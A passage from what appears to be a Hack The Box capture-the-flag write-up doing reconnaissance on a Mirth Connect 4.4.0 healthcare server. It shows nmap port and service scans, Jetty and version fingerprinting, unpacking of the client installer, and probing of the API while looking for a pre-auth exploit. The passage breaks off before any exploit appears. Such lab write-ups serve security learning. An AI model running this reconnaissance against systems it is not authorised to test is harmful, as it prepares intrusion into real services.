      <div class="htb-card-row htb-card-blue">
        <span class="htb-card-label">Creator</span>
        
<a href="https://app.hackthebox.com/users/1123207" target="_blank" rel="noopener"><img alt="ReziT" src="https://www.hackthebox.com/badge/image/1123207" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> ReziT</span></a><br />
      </div>
    </div>

    
  </div>
</div>
<h2 id="recon">Recon</h2>

<h3 id="initial-scanning">Initial Scanning</h3>

<p><code class="language-plaintext highlighter-rouge">nmap</code> finds four open TCP ports, SSH (22), HTTP (80), HTTPS (443), and something unknown (6661):</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="800"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$ </span><span class="nb">sudo </span>nmap <span class="nt">-p-</span> <span class="nt">--reason</span> <span class="nt">--min-rate</span> 10000 10.129.244.184
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-21 20:30 UTC
Nmap scan report for 10.129.244.184
Host is up, received reset ttl 63 (0.020s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
80/tcp   open  http    syn-ack ttl 63
443/tcp  open  https   syn-ack ttl 63
6661/tcp open  unknown syn-ack ttl 63

Nmap done: 1 IP address (1 host up) scanned in 7.19 seconds
</span><span class="gp">oxdf@hacky$ </span><span class="nb">sudo </span>nmap <span class="nt">-p</span> 22,80,443,6661 <span class="nt">-sCV</span> 10.129.244.184
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-21 20:30 UTC
Nmap scan report for 10.129.244.184
Host is up (0.020s latency).

PORT     STATE SERVICE   VERSION
22/tcp   open  ssh       OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
|_  256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
80/tcp   open  http
|_http-title: Mirth Connect Administrator
| http-methods:
|_  Potentially risky methods: TRACE
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 404 Not Found
|     Cache-Control: must-revalidate,no-cache,no-store
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 458
|     &lt;html&gt;
|     &lt;head&gt;
|     &lt;meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/&gt;
|     &lt;title&gt;Error 404 Not Found&lt;/title&gt;
|     &lt;/head&gt;
|     &lt;body&gt;&lt;h2&gt;HTTP ERROR 404 Not Found&lt;/h2&gt;
|     &lt;table&gt;
|     &lt;tr&gt;&lt;th&gt;URI:&lt;/th&gt;&lt;td&gt;/nice%20ports%2C/Tri%6Eity.txt%2ebak&lt;/td&gt;&lt;/tr&gt;
|     &lt;tr&gt;&lt;th&gt;STATUS:&lt;/th&gt;&lt;td&gt;404&lt;/td&gt;&lt;/tr&gt;
|     &lt;tr&gt;&lt;th&gt;MESSAGE:&lt;/th&gt;&lt;td&gt;Not Found&lt;/td&gt;&lt;/tr&gt;
|     &lt;tr&gt;&lt;th&gt;SERVLET:&lt;/th&gt;&lt;td&gt;org.eclipse.jetty.servlet.ServletHandler$Default404Servlet-3d7dbe10&lt;/td&gt;&lt;/tr&gt;
|     &lt;/table&gt;
|     &lt;/body&gt;
|     &lt;/html&gt;
|   GetRequest:
|     HTTP/1.1 200 OK
|     Date: Thu, 21 May 2026 20:30:29 GMT
|     Last-Modified: Tue, 18 Jul 2023 17:46:18 GMT
|     Content-Type: text/html
|     Accept-Ranges: bytes
|     Content-Length: 2532
|     &lt;!doctype html&gt;
|     &lt;html&gt;
|     &lt;head&gt;
|     &lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8"&gt;
|     &lt;meta http-equiv="x-ua-compatible" content="IE=edge"&gt;
|     &lt;meta http-equiv="cache-control" content="no-cache"&gt;
|     &lt;meta http-equiv="cache-control" content="no-store"&gt;
|     &lt;title&gt;Mirth Connect Administrator&lt;/title&gt;
|     &lt;link rel="shortcut icon" type="image/x-icon" href="images/NG_MC_Icon_16x16.png" /&gt;
|     &lt;link rel="stylesheet" type="text/css" href="css/bootstrap.css" /&gt;
|     &lt;link rel="stylesheet" type="text/css" href="css/main.css" /&gt;
|     &lt;script type="text/javascript"&gt;
|     Break out of frame if inside a frame. */
|     (window != window.top) {
|     window.top.location = window.location;
|     &lt;/script&gt;
|     &lt;script type="text/javascript" sr
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Date: Thu, 21 May 2026 20:30:29 GMT
|     Allow: GET, HEAD, TRACE, OPTIONS
|   RTSPRequest:
|     HTTP/1.1 505 Unknown Version
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|     &lt;h1&gt;Bad Message 505&lt;/h1&gt;&lt;pre&gt;reason: Unknown Version&lt;/pre&gt;
|   X11Probe:
|     HTTP/1.1 400 Illegal character CNTL=0x0
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|_    &lt;h1&gt;Bad Message 400&lt;/h1&gt;&lt;pre&gt;reason: Illegal character CNTL=0x0&lt;/pre&gt;
443/tcp  open  ssl/https
|_ssl-date: TLS randomness does not represent time
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 404 Not Found
|     Cache-Control: must-revalidate,no-cache,no-store
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 458
|     &lt;html&gt;
|     &lt;head&gt;
|     &lt;meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/&gt;
|     &lt;title&gt;Error 404 Not Found&lt;/title&gt;
|     &lt;/head&gt;
|     &lt;body&gt;&lt;h2&gt;HTTP ERROR 404 Not Found&lt;/h2&gt;
|     &lt;table&gt;
|     &lt;tr&gt;&lt;th&gt;URI:&lt;/th&gt;&lt;td&gt;/nice%20ports%2C/Tri%6Eity.txt%2ebak&lt;/td&gt;&lt;/tr&gt;
|     &lt;tr&gt;&lt;th&gt;STATUS:&lt;/th&gt;&lt;td&gt;404&lt;/td&gt;&lt;/tr&gt;
|     &lt;tr&gt;&lt;th&gt;MESSAGE:&lt;/th&gt;&lt;td&gt;Not Found&lt;/td&gt;&lt;/tr&gt;
|     &lt;tr&gt;&lt;th&gt;SERVLET:&lt;/th&gt;&lt;td&gt;org.eclipse.jetty.servlet.ServletHandler$Default404Servlet-3d7dbe10&lt;/td&gt;&lt;/tr&gt;
|     &lt;/table&gt;
|     &lt;/body&gt;
|     &lt;/html&gt;
|   GetRequest:
|     HTTP/1.1 200 OK
|     Date: Thu, 21 May 2026 20:30:36 GMT
|     Last-Modified: Tue, 18 Jul 2023 17:46:18 GMT
|     Content-Type: text/html
|     Accept-Ranges: bytes
|     Content-Length: 2532
|     &lt;!doctype html&gt;
|     &lt;html&gt;
|     &lt;head&gt;
|     &lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8"&gt;
|     &lt;meta http-equiv="x-ua-compatible" content="IE=edge"&gt;
|     &lt;meta http-equiv="cache-control" content="no-cache"&gt;
|     &lt;meta http-equiv="cache-control" content="no-store"&gt;
|     &lt;title&gt;Mirth Connect Administrator&lt;/title&gt;
|     &lt;link rel="shortcut icon" type="image/x-icon" href="images/NG_MC_Icon_16x16.png" /&gt;
|     &lt;link rel="stylesheet" type="text/css" href="css/bootstrap.css" /&gt;
|     &lt;link rel="stylesheet" type="text/css" href="css/main.css" /&gt;
|     &lt;script type="text/javascript"&gt;
|     Break out of frame if inside a frame. */
|     (window != window.top) {
|     window.top.location = window.location;
|     &lt;/script&gt;
|     &lt;script type="text/javascript" sr
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Date: Thu, 21 May 2026 20:30:37 GMT
|_    Allow: GET, HEAD, TRACE, OPTIONS
| ssl-cert: Subject: commonName=mirth-connect
| Not valid before: 2025-09-19T12:50:05
|_Not valid after:  2075-09-19T12:50:05
6661/tcp open  unknown
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.94SVN%I=7%D=5/21%Time=6A0F6B70%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,A8F,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Thu,\x2021\x20May\x20
SF:2026\x2020:30:29\x20GMT\r\nLast-Modified:\x20Tue,\x2018\x20Jul\x202023\
SF:x2017:46:18\x20GMT\r\nContent-Type:\x20text/html\r\nAccept-Ranges:\x20b
SF:ytes\r\nContent-Length:\x202532\r\n\r\n&lt;!doctype\x20html&gt;\n&lt;html&gt;\n&lt;hea
SF:d&gt;\n\t&lt;meta\x20http-equiv=\"Content-Type\"\x20content=\"text/html;\x20c
SF:harset=UTF-8\"&gt;\n\t&lt;meta\x20http-equiv=\"x-ua-compatible\"\x20content=\
SF:"IE=edge\"&gt;\n\t&lt;meta\x20http-equiv=\"cache-control\"\x20content=\"no-ca
SF:che\"&gt;\n\t&lt;meta\x20http-equiv=\"cache-control\"\x20content=\"no-store\"
SF:&gt;\n\t\n\t&lt;title&gt;Mirth\x20Connect\x20Administrator&lt;/title&gt;\n\t\n\t&lt;link\
SF:x20rel=\"shortcut\x20icon\"\x20type=\"image/x-icon\"\x20href=\"images/N
SF:G_MC_Icon_16x16\.png\"\x20/&gt;\n\t&lt;link\x20rel=\"stylesheet\"\x20type=\"t
SF:ext/css\"\x20href=\"css/bootstrap\.css\"\x20/&gt;\n\t&lt;link\x20rel=\"styles
SF:heet\"\x20type=\"text/css\"\x20href=\"css/main\.css\"\x20/&gt;\n\t\n\t&lt;scr
SF:ipt\x20type=\"text/javascript\"&gt;\n\t\t/\*\x20Break\x20out\x20of\x20fram
SF:e\x20if\x20inside\x20a\x20frame\.\x20\*/\n\t\tif\x20\(window\x20!=\x20w
SF:indow\.top\)\x20{\n\t\t\twindow\.top\.location\x20=\x20window\.location
SF:;\n\t\t}\n\t&lt;/script&gt;\n\n\t&lt;script\x20type=\"text/javascript\"\x20sr")%
SF:r(HTTPOptions,5A,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Thu,\x2021\x20May\
SF:x202026\x2020:30:29\x20GMT\r\nAllow:\x20GET,\x20HEAD,\x20TRACE,\x20OPTI
SF:ONS\r\n\r\n")%r(RTSPRequest,AD,"HTTP/1\.1\x20505\x20Unknown\x20Version\
SF:r\nContent-Type:\x20text/html;charset=iso-8859-1\r\nContent-Length:\x20
SF:58\r\nConnection:\x20close\r\n\r\n&lt;h1&gt;Bad\x20Message\x20505&lt;/h1&gt;&lt;pre&gt;re
SF:ason:\x20Unknown\x20Version&lt;/pre&gt;")%r(X11Probe,C3,"HTTP/1\.1\x20400\x20
SF:Illegal\x20character\x20CNTL=0x0\r\nContent-Type:\x20text/html;charset=
SF:iso-8859-1\r\nContent-Length:\x2069\r\nConnection:\x20close\r\n\r\n&lt;h1&gt;
SF:Bad\x20Message\x20400&lt;/h1&gt;&lt;pre&gt;reason:\x20Illegal\x20character\x20CNTL=
SF:0x0&lt;/pre&gt;")%r(FourOhFourRequest,257,"HTTP/1\.1\x20404\x20Not\x20Found\r
SF:\nCache-Control:\x20must-revalidate,no-cache,no-store\r\nContent-Type:\
SF:x20text/html;charset=iso-8859-1\r\nContent-Length:\x20458\r\n\r\n&lt;html&gt;
SF:\n&lt;head&gt;\n&lt;meta\x20http-equiv=\"Content-Type\"\x20content=\"text/html;c
SF:harset=ISO-8859-1\"/&gt;\n&lt;title&gt;Error\x20404\x20Not\x20Found&lt;/title&gt;\n&lt;/h
SF:ead&gt;\n&lt;body&gt;&lt;h2&gt;HTTP\x20ERROR\x20404\x20Not\x20Found&lt;/h2&gt;\n&lt;table&gt;\n&lt;tr
SF:&gt;&lt;th&gt;URI:&lt;/th&gt;&lt;td&gt;/nice%20ports%2C/Tri%6Eity\.txt%2ebak&lt;/td&gt;&lt;/tr&gt;\n&lt;tr&gt;
SF:&lt;th&gt;STATUS:&lt;/th&gt;&lt;td&gt;404&lt;/td&gt;&lt;/tr&gt;\n&lt;tr&gt;&lt;th&gt;MESSAGE:&lt;/th&gt;&lt;td&gt;Not\x20Foun
SF:d&lt;/td&gt;&lt;/tr&gt;\n&lt;tr&gt;&lt;th&gt;SERVLET:&lt;/th&gt;&lt;td&gt;org\.eclipse\.jetty\.servlet\.Ser
SF:vletHandler\$Default404Servlet-3d7dbe10&lt;/td&gt;&lt;/tr&gt;\n&lt;/table&gt;\n\n&lt;/body&gt;\
SF:n&lt;/html&gt;\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port443-TCP:V=7.94SVN%T=SSL%I=7%D=5/21%Time=6A0F6B78%P=x86_64-pc-linux-
SF:gnu%r(GetRequest,A8F,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Thu,\x2021\x20
SF:May\x202026\x2020:30:36\x20GMT\r\nLast-Modified:\x20Tue,\x2018\x20Jul\x
SF:202023\x2017:46:18\x20GMT\r\nContent-Type:\x20text/html\r\nAccept-Range
SF:s:\x20bytes\r\nContent-Length:\x202532\r\n\r\n&lt;!doctype\x20html&gt;\n&lt;html
SF:&gt;\n&lt;head&gt;\n\t&lt;meta\x20http-equiv=\"Content-Type\"\x20content=\"text/htm
SF:l;\x20charset=UTF-8\"&gt;\n\t&lt;meta\x20http-equiv=\"x-ua-compatible\"\x20co
SF:ntent=\"IE=edge\"&gt;\n\t&lt;meta\x20http-equiv=\"cache-control\"\x20content=
SF:\"no-cache\"&gt;\n\t&lt;meta\x20http-equiv=\"cache-control\"\x20content=\"no-
SF:store\"&gt;\n\t\n\t&lt;title&gt;Mirth\x20Connect\x20Administrator&lt;/title&gt;\n\t\n\
SF:t&lt;link\x20rel=\"shortcut\x20icon\"\x20type=\"image/x-icon\"\x20href=\"i
SF:mages/NG_MC_Icon_16x16\.png\"\x20/&gt;\n\t&lt;link\x20rel=\"stylesheet\"\x20t
SF:ype=\"text/css\"\x20href=\"css/bootstrap\.css\"\x20/&gt;\n\t&lt;link\x20rel=\
SF:"stylesheet\"\x20type=\"text/css\"\x20href=\"css/main\.css\"\x20/&gt;\n\t\
SF:n\t&lt;script\x20type=\"text/javascript\"&gt;\n\t\t/\*\x20Break\x20out\x20of\
SF:x20frame\x20if\x20inside\x20a\x20frame\.\x20\*/\n\t\tif\x20\(window\x20
SF:!=\x20window\.top\)\x20{\n\t\t\twindow\.top\.location\x20=\x20window\.l
SF:ocation;\n\t\t}\n\t&lt;/script&gt;\n\n\t&lt;script\x20type=\"text/javascript\"\x
SF:20sr")%r(HTTPOptions,5A,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Thu,\x2021\
SF:x20May\x202026\x2020:30:37\x20GMT\r\nAllow:\x20GET,\x20HEAD,\x20TRACE,\
SF:x20OPTIONS\r\n\r\n")%r(FourOhFourRequest,257,"HTTP/1\.1\x20404\x20Not\x
SF:20Found\r\nCache-Control:\x20must-revalidate,no-cache,no-store\r\nConte
SF:nt-Type:\x20text/html;charset=iso-8859-1\r\nContent-Length:\x20458\r\n\
SF:r\n&lt;html&gt;\n&lt;head&gt;\n&lt;meta\x20http-equiv=\"Content-Type\"\x20content=\"te
SF:xt/html;charset=ISO-8859-1\"/&gt;\n&lt;title&gt;Error\x20404\x20Not\x20Found&lt;/ti
SF:tle&gt;\n&lt;/head&gt;\n&lt;body&gt;&lt;h2&gt;HTTP\x20ERROR\x20404\x20Not\x20Found&lt;/h2&gt;\n&lt;ta
SF:ble&gt;\n&lt;tr&gt;&lt;th&gt;URI:&lt;/th&gt;&lt;td&gt;/nice%20ports%2C/Tri%6Eity\.txt%2ebak&lt;/td&gt;&lt;/
SF:tr&gt;\n&lt;tr&gt;&lt;th&gt;STATUS:&lt;/th&gt;&lt;td&gt;404&lt;/td&gt;&lt;/tr&gt;\n&lt;tr&gt;&lt;th&gt;MESSAGE:&lt;/th&gt;&lt;td&gt;No
SF:t\x20Found&lt;/td&gt;&lt;/tr&gt;\n&lt;tr&gt;&lt;th&gt;SERVLET:&lt;/th&gt;&lt;td&gt;org\.eclipse\.jetty\.ser
SF:vlet\.ServletHandler\$Default404Servlet-3d7dbe10&lt;/td&gt;&lt;/tr&gt;\n&lt;/table&gt;\n\
SF:n&lt;/body&gt;\n&lt;/html&gt;\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 205.76 seconds
</span></code></pre></div></div>

<p>Based on the <a href="/cheatsheets/os#debian">OpenSSH version</a>, the host is likely running Debian 12 Bookworm (from 2023).</p>

<p>All of the ports show a TTL of 63, which matches the <a href="/cheatsheets/os#os-identification">expected TTL</a> for Linux one hop away.</p>

<p>There’s a string in both of the web port scans that contains “jetty”, suggesting this may be a Java webserver.</p>

<h3 id="website---tcp-80--443">Website - TCP 80 / 443</h3>

<h4 id="site">Site</h4>

<p>The site offers a login page for Mirth Connect by NextGen Healthcare:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260521173736782.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260521173736782.png" alt="image-20260521173736782" class="include_image " />
</picture>

<p>The only difference on HTTP is that it doesn’t let you log in, instead offering a link to the HTTPS URL:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260521171935258.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260521171935258.png" alt="image-20260521171935258" class="include_image " />
</picture>

<p>I don’t have any creds and no simple guesses work:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260522065804409.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260522065804409.png" alt="image-20260522065804409" class="include_image " />
</picture>

<p>The “Launch Mirth Connect Administrator” link downloads a <code class="language-plaintext highlighter-rouge">webstart.jnlp</code> file. “Download Administrator Launcher” is a shell script, <code class="language-plaintext highlighter-rouge">mirth-administrator-launcher-latest-unix.sh</code>.</p>

<p><a href="https://github.com/nextgenhealthcare/connect">Mirth Connect by NextGen Healthcare</a> is real open-source software. It’s a Java-based healthcare integration engine. It receives, filters, transforms, and routes messages between healthcare systems using configurable “channels”. It’s primarily built around Health Level Seven (HL7) data but also handles DICOM, X12/EDI, XML, and JSON. Channel filters and transformers are written in JavaScript and run through an embedded Rhino interpreter.</p>

<p>The <code class="language-plaintext highlighter-rouge">.jnlp</code> and <code class="language-plaintext highlighter-rouge">.sh</code> files are both ways to set up the Administrator thick client that connects to the server. A web interface also exists, the Web Dashboard, but it only shows channel and message monitoring stats. All real configuration happens in the thick client.</p>

<h4 id="client">Client</h4>

<p>It’s not necessary to solve the box, but to understand the intended behavior, I can install the client using the <code class="language-plaintext highlighter-rouge">.sh</code> script. It’s actually an interesting script.</p>

<p>It’s named like a shell script and starts like one, but the body is mostly binary, and the file is huge:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>file mirth-administrator-launcher-latest-unix.sh 
<span class="go">mirth-administrator-launcher-latest-unix.sh: POSIX shell script executable (binary data)
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-lh</span> mirth-administrator-launcher-latest-unix.sh 
<span class="go">-rwxrwx--- 1 root vboxsf 226M Sep 23  2024 mirth-administrator-launcher-latest-unix.sh
</span></code></pre></div></div>

<p>226 MB of “shell script”. The first few hundred lines are real POSIX shell that hunts down a usable JRE on the host. After that, at line 671, the script becomes a bunch of binary data:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260527191110358.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260527191110358.png" alt="image-20260527191110358" class="include_image " />
</picture>

<p>At line 475, it shows how this is used:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">tail</span> <span class="nt">-c</span> 87626702 <span class="s2">"</span><span class="nv">$prg_dir</span><span class="s2">/</span><span class="k">${</span><span class="nv">progname</span><span class="k">}</span><span class="s2">"</span> <span class="o">&gt;</span> sfx_archive.tar.gz 2&gt; /dev/null
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">tail -c 87626702</code> grabs the last ~84 MB of the file by byte count. I’ll do that myself:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">tail</span> <span class="nt">-c</span> 87626702 mirth-administrator-launcher-latest-unix.sh <span class="o">&gt;</span> sfx_archive.tar.gz
<span class="gp">oxdf@hacky$</span><span class="w"> </span>file sfx_archive.tar.gz 
<span class="go">sfx_archive.tar.gz: gzip compressed data, original size modulo 2^32 90065408
</span></code></pre></div></div>

<p>It’s a <code class="language-plaintext highlighter-rouge">.tar.gz</code> archive:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">gunzip </span>sfx_archive.tar.gz 
<span class="gp">oxdf@hacky$</span><span class="w"> </span>file sfx_archive.tar 
<span class="go">sfx_archive.tar: POSIX tar archive
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">tar </span>tf sfx_archive.tar
<span class="go">i4jparams.conf
i4jempty.ttf
i4j_extf_10_1fr4isd_18gg8kx@2x_dark.png
i4j_extf_5_1fr4isd_x7nby6.png
i4j_extf_12_1fr4isd_5pr459.png
libi4jinst.dylib
i4j_extf_6_1fr4isd_vd2dea.png
i4j_extf_2_1fr4isd.txt
i4j_extf_11_1fr4isd_1rpumog.png
i4j_extf_4_1fr4isd_rhc5ay.icns
launchers.xml
jre.tar.gz
i4j_extf_3_1fr4isd_gz8ncf.ico
i4j_extf_7_1fr4isd_un9apv.png
MessagesDefault
libi4jinst2.dylib
i4j_extf_8_1fr4isd_1xth8wx.png
i4j_extf_1_1fr4isd
i4j_extf_9_1fr4isd_259ij1.png
i4j_extf_10_1fr4isd_18gg8kx@2x.png
i4j_extf_10_1fr4isd_18gg8kx_dark.png
stats.properties
user.jar
i4j_extf_0_1fr4isd.utf8
user
user/flatlaf.jar
i4j_extf_10_1fr4isd_18gg8kx.png
i4jruntime.jar
launcher0.jar
launcher7b9c3515.jar
launcher4fd1c277.jar
launcher2bfa42ba.jar
</span></code></pre></div></div>

<p>The script gunzips the binary data, untars it into a temp directory, and the extracted tree contains a bundled JRE and a Java installer class that the shell then runs with <code class="language-plaintext highlighter-rouge">java</code>. This is the <a href="https://www.ej-technologies.com/products/install4j/overview.html">install4j</a> self-extracting installer pattern, where one <code class="language-plaintext highlighter-rouge">.sh</code> is both the launcher and the entire payload.</p>

<p>When I run it as root, it pops up an installer:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260522074747135.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260522074747135.png" alt="image-20260522074747135" class="include_image " />
</picture>

<p>Stepping through the screens, it shows that it comes with a Java installation:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260522074830866.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260522074830866.png" alt="image-20260522074830866" class="include_image " />
</picture>

<p>Once it installed and opens, the initial screen is looking for connection information:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260522074935562.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260522074935562.png" alt="image-20260522074935562" class="include_image " />
</picture>

<p>I’ll enter <code class="language-plaintext highlighter-rouge">https://&lt;interface ip&gt;</code>, and it downloads some stuff, and pops a window looking for creds:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260522075059512.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260522075059512.png" alt="image-20260522075059512" class="include_image " />
</picture>

<h4 id="api">API</h4>

<p>At <code class="language-plaintext highlighter-rouge">/api</code>, there’s swagger-style documentation for the API:</p>

<div style="position: relative; min-height: 400px;">
    <picture>
        <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260522100630683.webp" />
        <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260522100630683.png" alt="image-20260522100630683" style="max-height: 400px; object-fit: cover; object-position: top; width: -webkit-fill-available; mask-image: linear-gradient(rgb(0, 0, 0), rgb(0,0,0) calc(100% - 100px), rgba(0,0,0,0) calc(100% - 20px)); -webkit-mask-image: linear-gradient(rgb(0, 0, 0), rgb(0,0,0) calc(100% - 100px), rgba(0,0,0,0) calc(100% - 20px));" class="include_image " />
    </picture>
    <a href="javascript:void(0)" onclick="click_expand_image(event)" style="position: absolute; bottom: 35px; right: 15px;" title="Click to expand for full content"><img src="/icons/expand.png" alt="expand" class="expand-contract" /></a>
</div>

<p>Everything I try returns 401:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260522100746871.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260522100746871.png" alt="image-20260522100746871" class="include_image " />
</picture>

<p>I’ll need auth or a pre-auth exploit.</p>

<h4 id="tech-stack">Tech Stack</h4>

<p>The web application is clearly Java based, as is the client. The HTTP response headers don’t show anything interesting.</p>

<p>The 404 page is a <a href="/cheatsheets/404#jetty">Jetty 404</a>:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260522075509027.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260522075509027.png" alt="image-20260522075509027" class="include_image " />
</picture>

<p>This is the 404 page that Jetty serves when it reaches a servlet context but no servlet handles it (no added to the default 404s page).</p>

<p>I know this is also Mirth Connect, and the <code class="language-plaintext highlighter-rouge">.jnlp</code> file shows the version of 4.4.0:</p>

<div class="language-xml code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;jnlp</span> <span class="na">codebase=</span><span class="s">"https://10.129.244.184:443"</span> <span class="na">version=</span><span class="s">"4.4.0"</span><span class="nt">&gt;</span>

    <span class="nt">&lt;information&gt;</span>

        <span class="nt">&lt;title&gt;</span>Mirth Connect Administrator 4.4.0<span class="nt">&lt;/title&gt;</span>

        <span class="nt">&lt;vendor&gt;</span>NextGen Healthcare<span class="nt">&lt;/vendor&gt;</span>

        <span class="nt">&lt;homepage</span> <span class="na">href=</span><span class="s">"http://www.nextgen.com"</span><span class="nt">/&gt;</span>

        <span class="nt">&lt;description&gt;</span>Open Source Healthcare Integration Engine<span class="nt">&lt;/description&gt;</span>


        <span class="nt">&lt;icon</span> <span class="na">href=</span><span class="s">"images/NG_MC_Icon_128x128.png"</span><span class="nt">/&gt;</span>

        <span class="nt">&lt;icon</span> <span class="na">href=</span><span class="s">"images/MirthConnect_Logo_WordMark_Big.png"</span> <span class="na">kind=</span><span class="s">"splash"</span><span class="nt">/&gt;</span>



        <span class="nt">&lt;offline-allowed/&gt;</span>

        <span class="nt">&lt;shortcut</span> <span class="na">online=</span><span class="s">"true"</span><span class="nt">&gt;</span>

            <span class="c">&lt;!-- put a shortcut on the desktop --&gt;</span>

            <span class="nt">&lt;desktop/&gt;</span>

            <span class="c">&lt;!-- put shortcut in start menu too --&gt;</span>

            <span class="nt">&lt;menu</span> <span class="na">submenu=</span><span class="s">"Mirth Connect"</span><span class="nt">/&gt;</span>

        <span class="nt">&lt;/shortcut&gt;</span>


    <span class="nt">&lt;/information&gt;</span>


    <span class="nt">&lt;security&gt;</span>

        <span class="nt">&lt;all-permissions/&gt;</span>

    <span class="nt">&lt;/security&gt;</span>


    <span class="nt">&lt;update</span> <span class="na">check=</span><span class="s">"timeout"</span> <span class="na">policy=</span><span class="s">"always"</span><span class="nt">/&gt;</span>


    <span class="nt">&lt;resources&gt;</span>

